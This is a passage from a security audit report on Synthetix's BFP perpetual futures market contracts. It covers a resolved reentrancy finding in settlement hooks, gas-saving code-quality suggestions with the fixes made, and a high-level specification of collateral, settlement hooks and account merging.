This issue was addressed by only allowing settlement hooks to merge accounts in <a href="https://github.com/Synthetixio/synthetix-v3/pull/2095/commits/742716891dcda8f5c386b7c133607d5f59f5a497">7427168</a>.
<a name="IO-SNX-BFP-007"></a>
<h2 class="break-before" id="io-snx-bfp-007-reentrancy-originating-from-settlement-hooks">IO-SNX-BFP-007 Reentrancy originating from settlement hooks</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-informational">Informational</td>
<td class="status-resolved">Resolved</td>
<td>

<a href="https://github.com/Synthetixio/synthetix-v3/blob/379119f85bdd7bcbc1f2413e8d3223e79ff9554d/markets/bfp-market/contracts/modules/OrderModule.sol#L387">OrderModule.sol#L387</a>

</td>
</tr>
</tbody>
</table>
It is understood that settlement hooks will be controlled by Synthetix, and strict whitelisting is required to create valid hooks. However, a reentrancy condition exists whereby settlement hooks could potentially reenter <code>OrderModule.settleOrder()</code> with the original order, executing the order again, causing potential grievance to the trader and generating more fees for whoever reenters into the order settlement.
<h3 id="recommendation-6">Recommendation</h3>
To avoid this behavior, it is recommended that the order be deleted (<code>delete market.orders[accountId];</code>) before the call to <code>settleOrder.executeOrderHooks()</code>, rather than after.
<h3 id="client-response-6">Client response</h3>
The implementation was updated to delete the order before executing the hook in <a href="https://github.com/Synthetixio/synthetix-v3/commit/e7932e96d8153db0716f1e5dd6df78c1a1ec711e">e7932e9</a> as per the recommendation.
<h1 id="code-quality-improvement-suggestions">Code quality improvement suggestions</h1>
Code improvement suggestions without security implications are listed below.
<table class="codequality">
<thead>
<tr>
<th>#</th>
<th>Location</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/379119f85bdd7bcbc1f2413e8d3223e79ff9554d/markets/bfp-market/contracts/modules/LiquidationModule.sol#L362-L368">LiquidationModule.sol#L362-L368</a></td>
<td>Duplicate checks for existing positions were performed in the <code>LiquidationModule.liquidateMarginOnly()</code> function. The first check is in the function itself and the second check is done in the <code>LiquidationModule.isMarginLiquidatable()</code> function when it is called, resulting in redundant storage access. This check could be performed once in the <code>LiquidationModule.isMarginLiquidatable()</code> function, producing gas savings for users.</td>
</tr>
<tr>
<td>2</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/379119f85bdd7bcbc1f2413e8d3223e79ff9554d/markets/bfp-market/contracts/modules/LiquidationModule.sol#L232">LiquidationModule.sol#L232</a>, <a href="https://github.com/Synthetixio/synthetix-v3/blob/379119f85bdd7bcbc1f2413e8d3223e79ff9554d/markets/bfp-market/contracts/storage/Position.sol#L331">Position.sol#L331</a></td>
<td>When flagging and liquidating positions, the check on whether the account being liquidated has been flagged could be performed earlier as a short circuiting mechanism to save on gas. In the case of <code>LiquidationModule.flagPosition()</code>, this could be done by moving the check in that function to the start of the function. A similar check would need to be added to <code>LiquidationModule.liquidatePosition()</code> as currently, it relies on <code>Position.validateLiquidation()</code> to enforce this check.</td>
</tr>
<tr>
<td>3</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/379119f85bdd7bcbc1f2413e8d3223e79ff9554d/markets/bfp-market/contracts/storage/Position.sol#L292">Position.sol#L292</a></td>
<td>The call to <code>Position.validateMaxOi()</code> in <code>Position.validateTrade()</code> could be moved into the if-statement’s execution block just before the call, as the new position would only approach the maximum open interest cap if the position is changing side or increasing in size on one side. This would save gas when users are only decreasing their position sizes.</td>
</tr>
<tr>
<td>4</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/379119f85bdd7bcbc1f2413e8d3223e79ff9554d/markets/bfp-market/contracts/modules/OrderModule.sol#L303">OrderModule.sol#L303</a></td>
<td><code>Margin.getMarginUsd()</code> is called in <code>OrderModule.settleOrder()</code> after calling <code>Position.validateTrade()</code> as <code>validateTrade()</code> also calls <code>getMarginUsd()</code>. A potential gas optimisation would be to make <code>validateTrade()</code> also return the result of <code>getMarginUsd()</code>, removing the additional <code>getMarginUsd()</code> call.</td>
</tr>
<tr>
<td>5</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/379119f85bdd7bcbc1f2413e8d3223e79ff9554d/markets/bfp-market/contracts/storage/Position.sol#L439">Position.sol#L439</a></td>
<td><code>Position.getLiquidationMarginUsd()</code> should return <code>(0, 0, 0)</code> for position sizes equal to zero to avoid reporting initial and maintenance margin requirements for empty positions. Although functions that call <code>getLiquidationMarginUsd()</code> have their own circuit breakers for empty positions, applying the check in <code>getLiquidationMarginUsd()</code> ensures that the function does not erroneously introduce edge cases when features are added or updated in the future.</td>
</tr>
<tr>
<td>6</td>
<td>General</td>
<td>A <a href="https://gist.github.com/iosiro-security/a328010bc4139276dd560811fdbd70b9">git patch file</a> was generated using the bfp-market from the synthetix-v3 monorepo containing corrections for all typos identified during the audit.</td>
</tr>
</tbody>
</table>
<ol>
<li>The extra check was removed in <a href="https://github.com/Synthetixio/synthetix-v3/commit/12f192b3d87848c727a8e2989de6724098467aee">12f192b</a>.</li>
<li>The checks were moved to earlier points in the function call in <a href="https://github.com/Synthetixio/synthetix-v3/commit/12f192b3d87848c727a8e2989de6724098467aee">12f192b</a>.</li>
<li>The check was moved as per the recommendation in <a href="https://github.com/Synthetixio/synthetix-v3/commit/01f17dd556988b9685df7d4f42c103d6f0699fb2">01f17dd</a>.</li>
<li>The extra call to <code>getMarginUsd()</code> in <code>settleOrder()</code> was removed in <a href="https://github.com/Synthetixio/synthetix-v3/commit/12f192b3d87848c727a8e2989de6724098467aee">12f192b</a>.</li>
<li>The short circuit checks were added in <a href="https://github.com/Synthetixio/synthetix-v3/commit/2b557752e5d818718bcc595925c612231f61044a">2b55775</a>.</li>
<li>The typos were corrected in <a href="https://github.com/Synthetixio/synthetix-v3/commit/b4694afe0b560be243bab3ac9998f08ee7010db3">b4694af</a>.</li>
</ol>
<h1 id="specification">Specification</h1>
The following section outlines the intended functionality of the system at a high level. This specification is based on the implementation in the codebase. Any perceived points of conflict should be highlighted with the auditing team to determine the source of the discrepancy.
<h2 id="overview-1">Overview</h2>
The BFP market is based on the existing Perpetual Futures market deployed to Base, referred to as Perps V3, but includes alternative collateral management logic and other features that make deployment to Ethereum mainnet feasible. The market is intended to support delta-neutral stablecoins, such as Ethena’s USDe, and to leverage existing liquidity on mainnet.
<h2 id="account-collateral-and-debt">Account collateral and debt</h2>
Carina differs from Perps V3 in that collateral is deposited per account and market, as opposed to Perps V3’s cross-margin functionality. Carina also supports multiple collateral types; however, an account’s debt can only be settled using sUSD. The market will therefore deduct sUSD from an account when settling outstanding debt. An account could become subject to a margin liquidation in the event its debt surpasses the value of its collateral. When liquidated, an account's debt is written off and its collateral is absorbed by the market. Liquidations and general debt settlement of accounts are permissionless and can be performed by any address.
<h2 id="settlement-hooks">Settlement hooks</h2>
During order commitment, accounts may specify settlement hooks to execute when the order is settled. These hooks are addresses for contracts that implement the <code>onSettle(uint128 accountId, uint128 marketId, uint256 oraclePrice)</code> interface, and are limited to order hooks whitelisted by Synthetix. The settlement hooks are intended to be used by the delta-neutral stable coin issuers to only mint new stablecoins to an account once its collateral has been integrated with the stablecoin’s hedged short position.
<h2 id="account-splitting-and-merging">Account splitting and merging</h2>
An account’s position in a specific market can be split or merged with another account in the same market. While splitting an account can only be done by the account owner, merging accounts is only possible from settlement hooks. Merging and splitting of accounts enable the delta-neutral stablecoins to have a single short position that can be added to or reduced when accounts deposit or withdraw collateral.
When splitting an account, the caller specifies the proportion of the account to move into the new account. The account's position, collateral, and debt are proportionally transferred. Due to minimum position requirements, the market ensures that both resulting positions are not liquidatable.

</article>
</main>
</div>

‍